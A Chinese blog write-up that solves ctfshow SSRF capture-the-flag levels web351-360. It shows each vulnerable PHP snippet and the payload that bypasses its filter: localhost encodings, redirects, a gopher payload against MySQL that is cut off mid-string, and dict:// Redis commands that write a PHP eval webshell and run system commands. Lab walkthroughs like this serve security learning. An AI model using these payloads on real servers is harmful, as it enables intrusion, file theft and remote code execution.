ctfshow-SSRF-web351-360

发布于 2023-03-30  263 次阅读


web 351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);  # CURLOPT_HEADER 启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); # CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

curl命令是用来请求web服务器的,学习可以看这篇文章~curl 的用法指南 - 阮一峰的网络日志 (ruanyifeng.com)

首先了解这几个函数

curl_init()     # curl_init — 初始化一个cURL会话

curl_setopt()       # curl_setopt — 设置一个cURL传输选项。

curl_exec()     # curl_exec — 执行一个cURL会话

curl_close()        # curl_close — 关闭一个cURL会话

也就是说,我们post传入参数之后,会帮我们进行访问

我们直接访问flag.php可以看到,禁止非本地用户访问

image-20230329162136465

那么我们就可以构造url让服务器替我们去访问内部的文件

url=file:///var/www/html/flag.php

web 352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    if (!preg_match('/localhost|127.0.0/')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}
?>
parse_url()     # 将url解析成数组的形式
$x['scheme']==='http'||$x['scheme']==='https')      # 就是判断协议是http或者https
preg_match('/localhost|127.0.0/')     # url中不允许出现localhost或者127.0.0

之前做文件包含时候学到的,可以将ipv4的地址转成长地址,127.0.0.1也就是2130706433,试一下昂

url=http://2130706433/flag.php

成功获取flag

当然也可以转换成十六进制或者八进制

或者用其他的回环地址(127.0.0.1-127.255.255.254),选一个没有被过滤的就可以绕过

web 353

url=http://2130706433/flag.php

web 354

url不能有0和1了,可以用域名绕过,使用域名解析到127.0.0.1,然后使用该域名就可以绕过检测

url=http://sudo.cc/flag.php

web 355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    $host = $x['host'];
    if ((strlen($host) <= 5)) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($ch);
        curl_close($ch);
        echo ($result);
    } else {
        die('hacker');
    }
} else {
    die('hacker');
}
?>

这次需要host的长度小于5

因为127.1也可以被解析成127.0.0.1

image-20230329213553328

url=http://127.1/flag.php

web 356

可以看到,在linux下,ping 0 会ping到127.0.0.1

image-20230329214139970

所以我们就可以使用0绕过

url=http://0/flag.php

而在windows下0会解析到0.0.0.0

image-20230329214315329

web 357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    $ip = gethostbyname($x['host']);
    echo '</br>' . $ip . '</br>';
    if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        die('ip!');
    }
    echo file_get_contents($_POST['url']);
} else {
    die('scheme');
}
?>

filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)

FILTER_VALIDATE_IP 把值作为 IP 地址来验证。

FILTER_FLAG_NO_RES_RANGE 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

FILTER_FLAG_NO_PRIV_RANGE 要求值不在 RFC 指定的私有范围 IP 内(比如 192.168.0.1)。

也就是不能是私有地址

image-20230329220354802

行吧,用自己的服务器写一个重定向,

<?php
    header("Location: https://127.0.0.1/flag.php");
url=https://xxx.cn/redirect.php

web 358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

必须匹配到正则表达式才可以输出文件内容,也就是必须以http://ctf.开头,以show结尾

使用http://ctf.@127.0.0.1匹配开头,会解析到127.0.0.1,#show结尾

url=http://ctf.@127.0.0.1/flag.php#show

web 359

ssrf打无密码s

使用Gopherus直接生成gopher url,将对check.php的传参进行修改,成功写入一句话。

在url 中提交ssrf poc的时候得再进行一次url 编码,下面已经二次编码。

returl=gopher://127.0.0.1%3A3306%2F_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2548%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%256f%2572%2564%255d%2529%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2

web 360

ssrf打redis

也可以使用gopher协议,我们试一试用dict协议

dict协议的格式

dict://serverip:port/命令:参数向服务器的端口请求为【命令:参数】

image-20230330090510923

我们的info命令执行成功了,说明redis默认无密码

url=dict://127.0.0.1:6379/set:shell:'\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x31\x5d\x29\x3b\x3f\x3e'

url=dict://127.0.0.1:6379/config:set:dir:/var/www/html/

url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php

url=dict://127.0.0.1:6379/save

访问shell.php,成功写入webshell

image-20230330091909666

1=system('cat /flaaag');